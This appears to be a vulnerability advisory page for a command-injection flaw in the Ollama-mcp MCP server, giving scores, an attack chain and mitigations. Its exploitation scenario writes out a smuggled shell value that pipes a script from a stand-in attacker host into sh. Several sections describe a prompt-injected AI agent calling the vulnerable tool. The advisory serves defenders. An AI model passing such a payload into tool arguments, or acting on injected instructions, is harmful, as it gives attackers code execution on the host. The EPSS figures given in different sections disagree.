CVE-2026-19334: command injection via model args

CISO Take

Ollama-mcp, an MCP (Model Context Protocol) server that exposes Ollama model management to AI agents, fails to sanitize the name/modelfile/source/destination parameters before using them in a shell command, allowing arbitrary OS command execution. The attack requires local, low-privileged access with no user interaction, and CVSS rates it medium (5.3) — CISA's SSVC decision is TRACK, the lowest urgency tier, and EPSS sits at just 0.6% (top 53rd percentile), with no public exploit or Nuclei template observed. The real concern for AI-heavy environments is the delivery path: this is an MCP tool callable by an LLM agent, so a prompt-injected or compromised agent could trigger the injection without a human ever running a shell command directly. There is no patch — the project ships as a rolling release with no version tags, and the maintainer has not responded to the issue report (opened against commit 80cf2e1). Until fixed, isolate any host running Ollama-mcp, avoid exposing its tool parameters to untrusted agent input, and monitor for anomalous child processes spawned by the ollama-mcp process.

Sources:NVDEPSSATLAS

What is the risk?

Objectively low-to-moderate priority by classic vulnerability management metrics: CVSS 5.3, local-only attack vector, no KEV listing, no observed exploitation, and SSVC TRACK. However, the practical risk is elevated in agentic AI deployments because the vulnerable parameters are exposed as MCP tool arguments rather than a direct shell prompt — meaning the effective 'attacker' can be an LLM agent acting on adversary-controlled instructions (e.g., via prompt injection) rather than a human with local shell access. Combined with an unresponsive maintainer and no versioned releases to pin against, organizations using this specific MCP server should treat it as unpatched indefinitely rather than expect a near-term fix.

How does the attack unfold?

Tool invocation

A local low-privileged user or a compromised/prompt-injected AI agent calls the Ollama-mcp tool, supplying a crafted name, modelfile, source, or destination parameter.

AML.T0053

Command injection

src/index.ts passes the unsanitized parameter into a shell command, allowing embedded shell metacharacters to execute arbitrary OS commands.

AML.T0050

Impact

The injected command runs with the privileges of the ollama-mcp process, giving the attacker code execution on the host running the local model-serving stack.

Tool invocation

A local low-privileged user or a compromised/prompt-injected AI agent calls the Ollama-mcp tool, supplying a crafted name, modelfile, source, or destination parameter.

AML.T0053

Command injection

src/index.ts passes the unsanitized parameter into a shell command, allowing embedded shell metacharacters to execute arbitrary OS commands.

AML.T0050

Impact

The injected command runs with the privileges of the ollama-mcp process, giving the attacker code execution on the host running the local model-serving stack.

How severe is it?

CVSS 3.1

5.3 / 10

EPSS

1.1%

chance of exploitation in 30 days

Higher than 65% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AVLocal

ACLow

PRLow

UINone

SUnchanged

CLow

ILow

ALow

What should I do?

1 step

No official patch exists; the project uses a rolling release with no version tracking and the maintainer has not responded to the upstream issue (github.com/NightTrek/Ollama-mcp/issues/5). Recommended steps: (1) audit whether ollama-mcp is deployed anywhere agent input can reach the name/modelfile/source/destination tool parameters, and disable or gate those tools if so; (2) run the ollama-mcp process under least privilege (non-root, restricted filesystem access, no sensitive credentials in scope) and in a sandboxed/containerized environment; (3) monitor for unexpected child processes spawned from the ollama-mcp process (EDR/process-tree alerting); (4) pin to the reviewed commit and manually diff any future upstream changes for a fix, or fork and patch the shell invocation to use argument-array execution (e.g., execFile/spawn instead of exec/shell string concatenation) rather than shell interpolation; (5) apply standard local host hardening since the attack vector requires local low-privileged access.

What does CISA's SSVC say?

DecisionTrack

Exploitationnone

AutomatableNo

Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionAgentPluginAML.T0050- Command and Scripting Interpreter AML.T0053- AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

NIST AI RMF

MEASURE 2.7-AI system security and resilience evaluated

OWASP LLM Top 10

LLM07-Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-19334?

Ollama-mcp, an MCP (Model Context Protocol) server that exposes Ollama model management to AI agents, fails to sanitize the name/modelfile/source/destination parameters before using them in a shell command, allowing arbitrary OS command execution. The attack requires local, low-privileged access with no user interaction, and CVSS rates it medium (5.3) — CISA's SSVC decision is TRACK, the lowest urgency tier, and EPSS sits at just 0.6% (top 53rd percentile), with no public exploit or Nuclei template observed. The real concern for AI-heavy environments is the delivery path: this is an MCP tool callable by an LLM agent, so a prompt-injected or compromised agent could trigger the injection without a human ever running a shell command directly. There is no patch — the project ships as a rolling release with no version tags, and the maintainer has not responded to the issue report (opened against commit 80cf2e1). Until fixed, isolate any host running Ollama-mcp, avoid exposing its tool parameters to untrusted agent input, and monitor for anomalous child processes spawned by the ollama-mcp process.

Is CVE-2026-19334 actively exploited?

No confirmed active exploitation of CVE-2026-19334 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-19334?

No official patch exists; the project uses a rolling release with no version tracking and the maintainer has not responded to the upstream issue (github.com/NightTrek/Ollama-mcp/issues/5). Recommended steps: (1) audit whether ollama-mcp is deployed anywhere agent input can reach the name/modelfile/source/destination tool parameters, and disable or gate those tools if so; (2) run the ollama-mcp process under least privilege (non-root, restricted filesystem access, no sensitive credentials in scope) and in a sandboxed/containerized environment; (3) monitor for unexpected child processes spawned from the ollama-mcp process (EDR/process-tree alerting); (4) pin to the reviewed commit and manually diff any future upstream changes for a fix, or fork and patch the shell invocation to use argument-array execution (e.g., execFile/spawn instead of exec/shell string concatenation) rather than shell interpolation; (5) apply standard local host hardening since the attack vector requires local low-privileged access.

What systems are affected by CVE-2026-19334?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving.

What is the CVSS score for CVE-2026-19334?

CVE-2026-19334 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 1.08%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmodel serving

MITRE ATLAS Techniques

AML.T0050Command and Scripting Interpreter

AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM07

What are the technical details?

Original Advisory

A flaw has been found in NightTrek Ollama-mcp up to 80cf2e17cfc144963a475b619093a2d13c13dbc9. This affects an unknown part of the file src/index.ts. This manipulation of the argument name/modelfile/source/destination causes command injection. The attack can only be executed locally. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

Exploitation Scenario

An attacker with local low-privileged access to a workstation or server running Ollama-mcp — or an AI agent that has been prompt-injected via untrusted retrieved content — invokes the MCP tool responsible for creating or copying a model, supplying a crafted modelfile or name value containing shell metacharacters (e.g., `; curl http://attacker.example/payload.sh | sh`). Because the parameter is passed unsanitized into a shell command in src/index.ts, the injected command executes with the privileges of the ollama-mcp process, giving the attacker code execution on the host. From there they can pivot within the local AI agent environment, exfiltrate locally stored models or data, or establish persistence.

Weaknesses (CWE)

CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream ComponentPrimary CWE-77Improper Neutralization of Special Elements used in a CommandPrimary CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream Component CWE-77Improper Neutralization of Special Elements used in a Command

CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component: The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

[Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
[Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

Source: MITRE CWE corpus.